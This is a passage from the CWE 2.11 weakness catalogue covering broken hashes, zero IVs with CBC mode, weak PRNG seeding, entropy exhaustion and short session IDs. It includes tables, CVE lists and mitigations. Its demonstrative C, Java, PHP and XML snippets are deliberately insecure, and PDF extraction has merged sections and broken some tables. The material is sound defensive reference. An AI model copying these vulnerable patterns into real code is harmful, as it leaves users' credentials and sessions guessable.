<td>C</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1077</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>729</td>
<td>OWASP Top Ten 2004 Category A8 - Insecure Storage</td>
<td>711</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1122</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>753</td>
<td>2009 Top 25 - Porous Defenses</td>
<td>750</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1146</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>803</td>
<td>2010 Top 25 - Porous Defenses</td>
<td>800</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1232</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>816</td>
<td>OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage</td>
<td>809</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1251</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>866</td>
<td>2011 Top 25 - Porous Defenses</td>
<td>900</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1313</td>
</tr>
</tbody>
</table>
### CWE Version 2.11

#### CWE-327: Use of a Broken or Risky Cryptographic Algorithm

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>868 1322</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>934</td>
<td>OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure</td>
<td>928 1364</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>958</td>
<td>SFP Secondary Cluster: Broken Cryptography</td>
<td>888 1379</td>
</tr>
<tr>
<td>CanFollow</td>
<td>E</td>
<td>208</td>
<td>Information Exposure Through Timing Discrepancy</td>
<td>1000 396</td>
</tr>
<tr>
<td>PeerOf</td>
<td>V</td>
<td>301</td>
<td>Reflection Attack in an Authentication Protocol</td>
<td>1000 533</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>328</td>
<td>Reversible One-Way Hash</td>
<td>1000 579</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>780</td>
<td>Use of RSA Algorithm without OAEP</td>
<td>1000 1199</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884 1323</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>916</td>
<td>Use of Password Hash With Insufficient Computational Effort</td>
<td>699 1345 1000</td>
</tr>
</tbody>
</table>

#### Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>Using a broken or risky cryptographic algorithm</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A8</td>
<td>CWE More Specific</td>
<td>Insecure Storage</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>MSC02-J</td>
<td>Generate strong random numbers</td>
<td></td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC30-CPP</td>
<td>Do not use the rand() function for generating pseudorandom numbers</td>
<td></td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MSC32-CPP</td>
<td>Ensure your random number generator is properly seeded</td>
<td></td>
</tr>
</tbody>
</table>

#### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>20</td>
<td>Encryption Brute Forcing</td>
<td></td>
</tr>
<tr>
<td>97</td>
<td>Cryptanalysis</td>
<td></td>
</tr>
<tr>
<td>459</td>
<td>Creating a Rogue Certification Authority Certificate</td>
<td></td>
</tr>
<tr>
<td>473</td>
<td>Signature Spoof</td>
<td></td>
</tr>
<tr>
<td>608</td>
<td>Cryptanalysis of Cellular Encryption</td>
<td></td>
</tr>
<tr>
<td>614</td>
<td>Rooting SIM Cards</td>
<td></td>
</tr>
</tbody>
</table>

#### References


#### Maintenance Notes
Relationships between CWE-310, CWE-326, and CWE-327 and all their children need to be reviewed and reorganized.

### CWE-328: Reversible One-Way Hash

**Weakness ID:** 328 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The product uses a hashing algorithm that produces a hash value that can be used to determine the original input, or to find an input that can produce the same hash, more efficiently than brute force techniques.

**Extended Description**

This weakness is especially dangerous when the hash is used in security algorithms that require the one-way property to hold. For example, if an authentication system takes an incoming password and generates a hash, then compares the hash to another hash that it has stored in its authentication database, then the ability to create a collision could allow an attacker to provide an alternate password that produces the same target hash, bypassing authentication.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Access Control**

**Bypass protection mechanism**

**Demonstrative Examples**

In both of these examples, a user is logged in if their given password matches a stored password:

**C Example:**

```c
unsigned char *check_passwd(char *plaintext) {
  ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
  //Login if hash matches stored hash
  if (equal(ctext, secret_password())) {
    login_user();
  }
}
```

**Java Example:**

```java
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
  login_user();
}
```

This code uses the SHA-1 hash on user passwords, but the SHA-1 algorithm is no longer considered secure. Note this code also exhibits CWE-759 (Use of a One-Way Hash without a Salt).

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4068</td>
<td>Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Architecture and Design

High

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.328.1], scrypt [R.328.2], and PBKDF2 [R.328.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

References

Alexander Sotirov et al.. "MD5 considered harmful today". <http://www.phreedom.org/research/rogue-ca/>.
CWE-329: Not Using a Random IV with CBC Mode

**Weakness ID:** 329 *(Weakness Variant)*  
**Status:** Draft

### Description

#### Summary
Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.

### Time of Introduction
- Architecture and Design
- Implementation

### Applicable Platforms
- Languages
  - All

### Common Consequences

#### Confidentiality
- Read application data
  - Other
  - If the CBC is not properly initialized, data that is encrypted can be compromised and therefore be read.

#### Integrity
- Modify application data
  - Other
  - If the CBC is not properly initialized, encrypted data could be tampered with in transfer.

#### Access Control
- Other
  - Bypass protection mechanism
    - Other
    - Cryptographic based authentication systems could be defeated.

### Likelihood of Exploit
- Medium

### Demonstrative Examples

In the following examples, CBC mode is used when encrypting data:

#### C/C++ Example:

```c
EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
```

#### Java Example:

```java
public class SymmetricCipherTest {
    public static void main() {
        byte[] text = "Secret".getBytes();
        byte[] iv = {
                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
        };
        KeyGenerator kg = KeyGenerator.getInstance("DES");
        kg.init(56);
        SecretKey key = kg.generateKey();
        Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
        IvParameterSpec ips = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ips);
        return cipher.doFinal(inpBytes);
    }
}
```
In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.

**Potential Mitigations**

**Implementation**

It is important to properly initialize CBC operating block ciphers or their utility is lost.

**Background Details**

CBC is the most commonly used mode of operation for a block cipher. It solves electronic code book's dictionary problems by XORing the ciphertext with plaintext. If it used to encrypt multiple data streams, dictionary attacks are possible, provided that the streams have a common beginning sequence.

### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>310</td>
<td>Cryptographic Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>330</td>
<td>Use of Insufficiently Random Values</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>959</td>
<td>SFP Secondary Cluster: Weak Cryptography</td>
<td>888</td>
</tr>
</tbody>
</table>

**Functional Areas**

- Cryptography

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>Not using a random IV with CBC mode</td>
</tr>
</tbody>
</table>

**References**


---

**CWE-330: Use of Insufficiently Random Values**

**Weakness ID: 330 (Weakness Class)**

**Status:** Usable

**Description**

**Summary**

The software may use insufficiently random numbers or values in a security context that depends on unpredictable numbers.

**Extended Description**

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

- Confidentiality
- Other
- Other

When a protection mechanism relies on random values to restrict access to a sensitive resource, such as a session ID or a seed for generating a cryptographic key, then the resource being protected could be accessed by guessing the ID or key.
If software relies on unique, unguessable IDs to identify a resource, an attacker might be able to guess an ID for a resource that is owned by another user. The attacker could then read the resource, or pre-create a resource with the same ID to prevent the legitimate program from properly sending the resource to the intended user. For example, a product might maintain session information in a file whose name is based on a username. An attacker could pre-create this file for a victim user, then set the permissions so that the application cannot generate the session for the victim, preventing the victim from using the application.

**Access Control**

**Bypass protection mechanism**

**Gain privileges / assume identity**

When an authorization or authentication mechanism relies on random values to restrict access to restricted functionality, such as a session ID or a seed for generating a cryptographic key, then an attacker may access the restricted functionality by guessing the ID or key.

**Likelihood of Exploit**

Medium to High

**Detection Methods**

**Black Box**

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look for library or system calls that access predictable information such as process IDs and system time.

**Automated Static Analysis - Binary / Bytecode**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with manual results interpretation**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Man-in-the-middle attack tool
**Manual Static Analysis - Source Code**

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code**

SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

**Architecture / Design Review**

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples**

**Example 1:**
This code generates a unique random identifier for a user's session.

**PHP Example:**

```php
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session. This example also exhibits a Small Seed Space (CWE-339).

**Example 2:**
The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

**Java Example:**

```java
String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-0087</td>
<td>DNS client uses predictable DNS transaction IDs, allowing DNS spoofing.</td>
</tr>
<tr>
<td>CVE-2008-0141</td>
<td>Application generates passwords that are based on the time of day.</td>
</tr>
<tr>
<td>CVE-2008-0166</td>
<td>SSL library uses a weak random number generator that only generates 65,536 unique keys.</td>
</tr>
<tr>
<td>CVE-2008-2020</td>
<td>CAPTCHA implementation does not produce enough different images, allowing bypass using a database of all possible checksums.</td>
</tr>
<tr>
<td>CVE-2008-2108</td>
<td>Chain: insufficient precision causes extra zero bits to be assigned, reducing entropy for an API function that generates random numbers.</td>
</tr>
</tbody>
</table>
CWE-330: Use of Insufficiently Random Values

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-2433</td>
<td>Web management console generates session IDs based on the login time, making it easier to conduct session hijacking.</td>
</tr>
<tr>
<td>CVE-2008-3612</td>
<td>Handheld device uses predictable TCP sequence numbers, allowing spoofing or hijacking of TCP connections.</td>
</tr>
<tr>
<td>CVE-2008-4905</td>
<td>Blogging software uses a hard-coded salt when calculating a password hash.</td>
</tr>
<tr>
<td>CVE-2008-4929</td>
<td>Bulletin board application uses insufficiently random names for uploaded files, allowing other users to access private files.</td>
</tr>
<tr>
<td>CVE-2008-5162</td>
<td>Kernel function does not have a good entropy source just after boot.</td>
</tr>
<tr>
<td>CVE-2009-0255</td>
<td>Cryptographic key created with a seed based on the system time.</td>
</tr>
<tr>
<td>CVE-2009-2158</td>
<td>Password recovery utility generates a relatively small number of random passwords, simplifying brute force attacks.</td>
</tr>
<tr>
<td>CVE-2009-2367</td>
<td>Web application generates predictable session IDs, allowing session hijacking.</td>
</tr>
<tr>
<td>CVE-2009-3238</td>
<td>Random number generator can repeatedly generate the same value.</td>
</tr>
<tr>
<td>CVE-2009-3278</td>
<td>Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds.

In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.

Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

**Implementation**

Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.

**Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Architecture and Design**

**Requirements**

**Libraries or Frameworks**

Use products or modules that conform to FIPS 140-2 [R.330.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Testing**

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Background Details**

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.

**Weakness Ordinalities**
Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>254</td>
<td>Security Features</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td></td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>747</td>
<td>CERT C Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td></td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>753</td>
<td>2009 Top 25 - Porous Defenses</td>
<td></td>
<td>750</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>808</td>
<td>2010 Top 25 - Weaknesses On the Cusp</td>
<td></td>
<td>800</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>861</td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td></td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>867</td>
<td>2011 Top 25 - Weaknesses On the Cusp</td>
<td></td>
<td>900</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>883</td>
<td>CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td></td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
<td></td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>329</td>
<td>Not Using a Random IV with CBC Mode</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>331</td>
<td>Insufficient Entropy</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>334</td>
<td>Small Space of Random Values</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>335</td>
<td>PRNG Seed Error</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>338</td>
<td>Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>340</td>
<td>Predictability Problems</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>341</td>
<td>Predictable from Observable State</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>342</td>
<td>Predictable Exact Value from Previous Values</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>343</td>
<td>Predictable Value Range from Previous Values</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>344</td>
<td>Use of Invariant Value in Dynamically Changing Context</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>804</td>
<td>Guessable CAPTCHA</td>
<td></td>
<td>1000</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>1000</td>
<td>Research Concepts</td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>

Relationship Notes
This can be primary to many other weaknesses such as cryptographic errors, authentication errors, symlink following, information leaks, and others.

Functional Areas
- Non-specific
- Cryptography
- Authentication
- Session management

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Randomness and Predictability</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Insecure Randomness</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A2</td>
<td>CWE More Specific</td>
<td>Broken Access Control</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>MSC30-C</td>
<td></td>
<td>Do not use the rand() function for generating pseudorandom numbers</td>
</tr>
<tr>
<td>WASC</td>
<td>11</td>
<td>11-C</td>
<td>Brute Force</td>
</tr>
<tr>
<td>WASC</td>
<td>18</td>
<td>18-C</td>
<td>Credential/Session Prediction</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>MSC02-J</td>
<td></td>
<td>Generate strong random numbers</td>
</tr>
</tbody>
</table>

586
CWE Version 2.11

CWE-331: Insufficient Entropy

Weakness ID: 331 (Weakness Base) Status: Draft

Description

Summary
The software uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Access Control
Other
Bypass protection mechanism
Other
An attacker could guess the random numbers generated and could gain unauthorized access to a system if the random numbers are used for authentication and authorization.

Demonstrative Examples
Example 1:
This code generates a unique random identifier for a user's session.

PHP Example:
```php
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.
This example also exhibits a Small Seed Space (CWE-339).

Example 2:
The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

Java Example:

```java
public String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

Potential Mitigations

Implementation

Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.

References

Applicable Platforms
Languages
• All

Common Consequences
Availability
DoS: crash / exit / restart
If a pseudo-random number generator is using a limited entropy source which runs out (if the generator fails closed), the program may pause or crash.

Access Control
Other
Bypass protection mechanism
Other
If a PRNG is using a limited entropy source which runs out, and the generator fails open, the generator could produce predictable random numbers. Potentially a weak source of random numbers could weaken the encryption method used for authentication of users.

Likelihood of Exploit
Medium

Potential Mitigations
Architecture and Design
Requirements
Libraries or Frameworks
Use products or modules that conform to FIPS 140-2 [R.332.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C (“Approved Random Number Generators”).

Implementation
Consider a PRNG that re-seeds itself as needed from high-quality pseudo-random output, such as hardware devices.

Architecture and Design
When deciding which PRNG to use, look at its sources of entropy. Depending on what your security needs are, you may need to use a random number generator that always uses strong random data -- i.e., a random number generator that attempts to be strong but will fail in a weak way or will always provide some middle ground of protection through techniques like re-seeding. Generally, something that always provides a predictable amount of strength is preferable.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>331</td>
<td>Insufficient Entropy</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>587</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>861</td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>844</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1302</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1333</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Insufficient entropy in PRNG</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>MSC02-J</td>
<td>Generate strong random numbers</td>
</tr>
</tbody>
</table>

References

CWE-333: Improper Handling of Insufficient Entropy in TRNG

Weakness ID: 333 (Weakness Variant) Status: Draft

Description
Summary
True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.

Extended Description
The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Availability
DoS: crash / exit / restart
A program may crash or block if it runs out of random numbers.

Likelihood of Exploit
Low to Medium

Demonstrative Examples
This code uses a TRNG to generate a unique session id for new connections to a server:

C Example:
```c
while (1){
    if (haveNewConnection()){
        if (hwRandom()){
            int sessionID = hwRandom();
            createNewConnection(sessionID);
        }
    }
}
```

This code does not attempt to limit the number of new connections or make sure the TRNG can successfully generate a new random number. An attacker may be able to create many new connections and exhaust the entropy of the TRNG. The TRNG may then block and cause the program to crash or hang.

Potential Mitigations
Implementation
Rather than failing on a lack of random numbers, it is often preferable to wait for more numbers to be created.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>3</td>
<td>331</td>
<td>Insufficient Entropy</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1000</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>861</td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>844</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td>905</td>
<td>SFP Primary Cluster: Predictability</td>
<td>888</td>
<td></td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td>MSC02-J</td>
<td>Failure of TRNG</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td></td>
<td>Generate strong random numbers</td>
</tr>
</tbody>
</table>

CWE-334: Small Space of Random Values

Weakness ID: 334 (Weakness Base) Status: Draft

Description

Summary
The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
- Languages
  - All

Common Consequences
- Access Control
- Other
- Bypass protection mechanism
- Other
  - An attacker could easily guess the values used. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.

Demonstrative Examples
The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

XML Example:

```xml
<session-config>
  <session-properties>
    <property name="idLengthBytes" value="8">
      <description>The number of bytes in this web module's session ID.</description>
    </property>
  </session-properties>
</session-config>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2002-0583</td>
<td>Product uses 5 alphanumeric characters for filenames of expense claim reports, stored under web root.</td>
</tr>
<tr>
<td>CVE-2002-0903</td>
<td>Product uses small number of random numbers for a code to approve an action, and also uses predictable new user IDs, allowing attackers to hijack new accounts.</td>
</tr>
<tr>
<td>CVE-2003-1230</td>
<td>SYN cookies implementation only uses 32-bit keys, making it easier to brute force ISN.</td>
</tr>
<tr>
<td>CVE-2004-0230</td>
<td>Complex predictability / randomness (reduced space).</td>
</tr>
</tbody>
</table>

Potential Mitigations

